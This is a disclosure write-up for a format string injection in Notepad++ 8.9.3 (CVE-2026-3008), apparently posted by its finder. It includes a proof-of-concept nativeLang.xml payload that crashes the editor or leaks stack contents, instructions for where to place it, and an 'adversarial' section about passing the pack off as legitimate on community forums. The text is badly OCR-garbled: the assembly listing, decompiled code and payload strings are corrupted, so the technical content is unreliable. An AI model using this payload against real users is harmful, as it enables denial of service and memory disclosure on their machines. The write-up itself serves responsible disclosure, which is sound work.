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CVE-2026-3008: Format String Injection in
Notepad++ via nativeLang.xml

April 14, 2026

a format string injection vulnerability in Notepad++ 8.9.3 allows an attacker to cause a reliable

crash (DoS) or leak stack/register contents via a malicious language pack

github: llgsjsm/cve-2026-3008

CVE-2026-3008:
Format Strings injection via
nativeLang.xml

:: summary

on a casual thursday, i decided to pass some time by looking into some popular applications
instead of doom scrolling my life away. notepad++ was one of them, we get on with tinkering

shall we??

Product Notepad++
Version 8.9.3 (x64, installer and portable)

Attack Vector Malicious language pack ( nativelLang.xml )

https://llgsjsm.github.io/cve-2026-3008/
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Impact Reliable DoS (crash) + information disclosure (stack/register leak)

:: adversarial pov

I can just distribute the malicious nativeLang.xml and pass it off as a legitimate language
pack in the npp community forums. when the user unknowingly load up his npp, and tries to

search a matching term — it will crash every. single. time.
best part? a normal user wouldnt even know why it crashes

asides causing mischief from crashing however, this exploit can expose registers/stack

values. with a write primitive you can... (or maybe not)

Search Results - (1 hits) [8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0]

—|Search "$STR_REPLACES” (SINT_REPLACES hits) "test” (1 hit in 1 file of 1 searched) [Normal]
C:\Users\ hazel\Downloads\new 1.bxt (1 hits) [ %o Yex. Yox.%ox.%ex. Yox. Yox. Yox]
Line 1: test

:: affected component

function: sub 1400916C0 — Find Results panel initializer
vulnerable instruction: 0x140091E6D

triggered by: any search operation that produces results (Find All, Find in Files, Mark All)
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loc_140091E26:

mov rg, rl2

cmp riad,

setz r8b ; wParam
xor rod, rod ; LParam
mov rcx, [rsi+16h] ; hwnd
call cs:SendMessageW

test rax, rax

jz loc_140091EEC

r8d, [rsi+ |
rdx, [rbp+57h+var_90]
sub_140099E60

rdx, [rbp+57h+var_90]
[rbp+57h+var_781,

rdx, [rbp+57h+var_9@] ; LPCWSTR
rcx, [rsi+ 1 ; LPWSTR
cs:wsprintfWw

dword ptr [rsi+ 1,

short loc_140091E86

mov rcx, rsi

call sub_140085B90 loc_140091E86:

jmp short loc_140091E9D mov rcx, [rsi+ 1
mov rax. [rcxl

:: root cause

sub_140099EG6O retrieves an attacker-controlled string from nativeLang.xml and places it in

v38.

wsprintfW is then called with v38 as the format string argument, not as a data argument —

so any format specifiers in the XML value ( %s , %x ) are interpreted by wsprintfW.

if ( SendMessageW(*(HWND x)(al + 16), v36, v2 == 3, 0) )
{
sub_140099E60( , V51, x(unsigned int x)(al + 196));
v38 = (const WCHAR x)v51;
if ( v53 > 7 )
v38 = v51[0];
wsprintfW((LPWSTR) (al + 200), v38);

the string originates from the <find-result-hits> attribute in nativelLang.xml with no

validation at any point in the data flow:
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nativeLang.xml TinyXML parser NativeLangSpeaker
sub_140099E60

:: impact

crash (denial of service): the payload %s5%s5%s5%5%5%5%5%s causes an immediate access
violation since wsprintfW dereferences junk register/stack values as WCHAR* pointers,

hitting an invalid address. tested and confirmed on notepad++ 8.9.3 x64

information disclosure: %x and %081x specifiers leak stack and register contents into the

Find Results panel tab. heres the output for %081x :

Search Results - (1 hits) [00120009.0000000d.529¢bb08.00000000.00000 0061e.0020062e.065d4b90.00000000.006e0433.02df5df0.00000000.00000000.00000004.92120e48.00000000]
Search "$STR_REPLACES" ($INT_REPLACES hits) " o i 1 file of 1 searched) [Normal]

] new 1 (1 hits) [%081x.%081x.%081x. %08 bx.%081x.%081x. %08|x. % 081x. %0 81x. %08 b, %08 Ix. % 08hx. %08 b, %08 bx. % 08hx. %08 hx]
Line 1: test

length: 4 lines: 1 Ln:1 Col:5 Sek:4|1 Windows (CRLF)  UTF-8

.= Q L -:u = __;, ~ G \__n? i)

wsprintfW does not support %n , so there is no write primitive hence theres no avenue for

code execution (sad)

:: poc or didnt happen

create nativelang.xml with this payload:
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NotepadPlus
Native-Langue name="PoC" filename="poc_nativelang.xml" version="8.9.3"

Menu
Main
Main

Menu

MiscStrings
find-result-hits value="($INT_REPLACE$ hits) [%5%s%5%5%5%5%s]"

find-result-caption value="Search Results"
find-result-title value="Search &quot;$STR_REPLACE$&quot; ($INT_REPLACE$ hits)"
MiscStrings
Splitter
Splitter
Native-Langue
NotepadPlus

place it at:

e Portable: <npp directory>\nativelLang.xml

e Installer: %APPDATA%\Notepad++\nativelLang.xml

then open Notepad++, search for any text, and click Find All in Current Document.

Notepad++ crashes immediately

:: timeline

Date Event

2026-04-09 format string injection confirmed - %s crash, %1x info disclosure

2026-04-10 figured wsprintfW has hardcoded 1024-char output limit

2026-04-10 submitted vulnerability to CSA
2026-04-16 CSA reached out to Notepad++

2026-04-27 CVE-2026-3008 assigned

s ®
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